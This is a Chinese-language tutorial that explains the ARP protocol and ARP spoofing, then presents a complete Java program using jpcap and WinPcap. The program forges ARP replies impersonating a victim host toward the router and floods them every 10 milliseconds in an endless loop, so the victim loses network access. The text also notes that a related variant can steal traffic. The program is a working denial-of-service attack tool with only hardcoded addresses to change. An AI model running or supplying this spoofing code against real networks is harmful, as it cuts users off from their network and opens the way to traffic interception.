1. 程式人生 > >基於JAVA的ARP欺騙的程式實現

基於JAVA的ARP欺騙的程式實現

       在實現ARP欺騙之前,我們必須知道什麼是ARP。
       在區域網當中,當主機或其它網路裝置有資料要傳送給另一個主機或裝置時,它必須要知道對方的IP地址,但僅僅有IP地址是不夠的,因為IP資料報文必須封裝成幀才能通過物理網路傳送,因此傳送站還必須有接收站的實體地址,所以需要一個從IP地址到實體地址的對映。ARP就是實現這個功能的協議。
       我們通過一個簡單的例子來解釋一下ARP在區域網中的運作。

       1.假設現在有一個主機A和一個主機B,二者處在同一個區域網當中。當主機A需要和主機B進行資料通訊的時候,主機A會在自己的ARP快取中查詢是否有與主機B對應的ARP表項。

       2.如果A在自己的ARP快取當中找到了與主機B對應的ARP表,主機A直接利用ARP表中的MAC地址將IP資料包進行幀封裝,將資料包傳送給主機B。

       3.如果A在自己的ARP快取中沒有找到與主機B對應的ARP表,則主機A將以廣播的方式傳送一個ARP請求,該請求中包含了主機A本身的IP地址(源IP地址)和MAC地址(源MAC地址),同時包含了主機B的IP地址(目標IP地址)。由於請求是以廣播的形式傳送的,所以處於該區域網的所有主機都能夠檢測到該ARP請求,但是隻有和ARP請求中目標IP地址相同的主機才能夠收到ARP請求,其餘的主機都會講該ARP請求拋棄。主機B收到由A傳送的ARP請求後,會向主機A以單播的形式傳送一個ARP回覆,該回復中包含了主機B的IP地址(源IP地址),主機B的MAC地址(源MAC地址),主機A的IP地址(目標IP地址),主機A的MAC地址(目標MAC地址)。同時會將主機A的IP地址和MAC地址寫入自己的ARP快取當中。

       4.主機A收到來自主機B的ARP的回覆後,將ARP回覆中的主機B的IP地址和MAC地址新增到自己的ARP快取當中。這樣主機A便能和主機B進行通訊了。
       在對ARP的工作過程進行剖析後,我們就能夠對ARP欺騙進行講解了。
       ARP欺騙分為兩種,一種是針對路由器進行欺騙,使路由器的ARP快取中建立錯誤的IP與MAC地址對映表,結果就是從路由器傳送的資料都發給了一個錯誤的MAC地址,造成主機無法正常接收資訊。另一種是對主機中的ARP快取進行欺騙,偽造主機路由器IP和MAC地址對映表,使主機發送的資料都發送到偽造後的MAC地址對應的主機上,這種情況不僅會使主機不能正常上網,而且還能用來竊取資訊。

       我們用程式實現第一種ARP欺騙,並對第一種欺騙方式進行舉例。

       假設現在主機A和主機B通過路由器C連線在同一個區域網內,主機A是欺騙方,主機B是被欺騙方。主機A在自己的ARP快取中查到路由器C的IP地址IP_C,MAC地址MAC_C,查到主機B的IP地址IP_B。接下來,主機A自己生成一個ARP回覆,該回復的源IP並不是主機A的IP地址,而是冒充主機B的IP地址IP_B,同時編造一個不存在的MAC地址作為回覆的源MAC地址,目標IP是IP_C,目標MAC地址是MAC_C。這個ARP回覆以單播的形式傳送給路由器C之後,路由器並不會驗證回覆的真實性,而是會把IP_B和一個不存在的MAC地址寫入自己的ARP快取,此時,所有通過路由器傳送給主機B的資料,都會因為找不到目標而傳送失敗。

       總結一下:主機A冒充主機B不斷向路由器傳送一個包含錯誤的IP和MAC對映表的ARP回覆,使經由路由器發給B的資料無法到達目的地,從而致使主機B無法正常上網。

       接下來,我們用JAVA程式來實現這個欺騙過程。注意:JAVA自身是沒有辦法對資料鏈路層進行相關操作的,而ARP包的傳送處於資料鏈路層。我們必須藉助WinPcap來實現對資料鏈路層的相關操作,同時需要jpcap來作為溝通JAVA和WinPcap的媒介。所以應該提前安裝WinPcap和jpcap。

       需要補充解釋一點:我們會在程式當中偽造一個ARP回覆,這裡必須瞭解ARP報文的結構。報文結構如下:

     

       上圖詳細的說明了報文的構成,我們在生成ARP回覆時,是通過jpcap提供的類ARPPacket來生成的,必須要把ARP中的每一個數據填充清楚,否則就會發送不成功。

程式碼如下:

import java.net.InetAddress;  
import jpcap.JpcapCaptor;  
import jpcap.JpcapSender;  
import jpcap.NetworkInterface;  
import jpcap.packet.ARPPacket;  
import jpcap.packet.EthernetPacket;  
  
public class Test{  
    static byte[] stomac(String s) {  
        byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };  
        String[] s1 = s.split("-");  
        for (int x = 0; x < s1.length; x++) {  
            mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);  
        }  
        return mac;  
    }  
    public static void main(String[] args) throws Exception {  
        InetAddress desip = InetAddress.getByName("192.168.0.1");// 被欺騙的目標IP地址  
        byte[] desmac = stomac("c8-3a-35-4a-0c-08");// 被欺騙的目標目標MAC陣列  
        InetAddress srcip = InetAddress.getByName("192.168.0.105");// 源IP地址  
        byte[] srcmac = stomac("3c-97-0e-45-01-d4"); // 假的MAC陣列  
        // 列舉網絡卡並開啟裝置  
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();  //列舉網絡卡裝置
        NetworkInterface device = devices[2];  //選擇網絡卡裝置
        JpcapSender sender = JpcapSender.openDevice(device);  //開啟網絡卡裝置
        // 設定ARP包  
        ARPPacket arp = new ARPPacket();  
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;    //硬體型別
        arp.prototype = ARPPacket.PROTOTYPE_IP;   //協議型別
        arp.operation = ARPPacket.ARP_REPLY;	  //操作型別 REPLY 表示型別為應答
        arp.hlen = 6;  //硬體地址長度
        arp.plen = 4;  //協議型別長度
        arp.sender_hardaddr = srcmac;  //傳送端MAC地址
        arp.sender_protoaddr = srcip.getAddress(); //傳送端IP地址  
        arp.target_hardaddr = desmac;  //目標硬體地址
        arp.target_protoaddr = desip.getAddress(); //目標IP地址
        // 定義乙太網首部
		EthernetPacket ether = new EthernetPacket();  
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;  //設定幀的型別為ARP幀
        ether.src_mac = srcmac;  //源MAC地址
        ether.dst_mac = desmac;  //目標MAC地址
        arp.datalink = ether;  //新增
        // 傳送ARP應答包  
        while (true) {  
            System.out.println("sending arp..");  
            sender.sendPacket(arp);  
            Thread.sleep(10);  
        }  
    }  
}